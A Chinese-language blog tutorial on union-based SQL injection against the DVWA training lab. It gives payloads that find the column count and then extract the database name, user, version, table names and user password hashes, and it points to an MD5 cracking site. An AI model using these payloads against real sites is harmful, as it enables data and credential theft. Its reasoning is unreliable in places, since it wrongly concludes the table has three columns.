1. 程式人生 > >SQL 注入基礎系列1——猜解資料庫

SQL 注入基礎系列1——猜解資料庫

DVWA.security=low.SQL Injection

後臺查詢語句:

//後臺查詢Sql語句是:
SELECT first_name, last_name FROM users WHERE user_id = '$id';

//當user_id輸入1時,實際執行的Sql語句是
SELECT first_name, last_name FROM users WHERE user_id = '1';

1、確定資料表列數——1' order by 1# 

//Mysql語法中,#後面的內容會被註釋掉
SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#;

“order by 1” 指將第一列的資料按升序排列。

order by 1和order by 2都能正常返回資料,當“1' order by 3#”時,返回報錯資訊:

由此可知,該資料表只有3列。

2、聯合查詢,獲取資料庫資訊——union select

使用 union 查詢時,union左右兩側的查詢語句的列數要相同,否則會出錯。

  • 獲取資料庫名稱、當前使用者 
// 1' union select database(),user()#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#`;

  • 獲取資料庫版本、當前作業系統資訊 
//1' union select version(),@@version_compile_os#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

  • 獲取dvwa資料庫中的表名
//1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#`;

可知,dvwa 資料庫有兩個資料表,分別是 guestbook 和 users 。

  • 獲取使用者名稱、密碼——大膽猜測user表的使用者名稱、密碼欄位分別為:username和password
//1' union select user,password from users#
SELECT first_name, last_name FROM users WHERE user_id = '1' union select username,password from users#`;

哎呀,猜錯了~~,可是這個報錯資訊很給力啊

繼續,大膽猜測user表的使用者名稱欄位為:user

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#`;

 

成功爆出使用者名稱、密碼。密碼採用 md5 進行加密,可以到www.cmd5.com進行解密。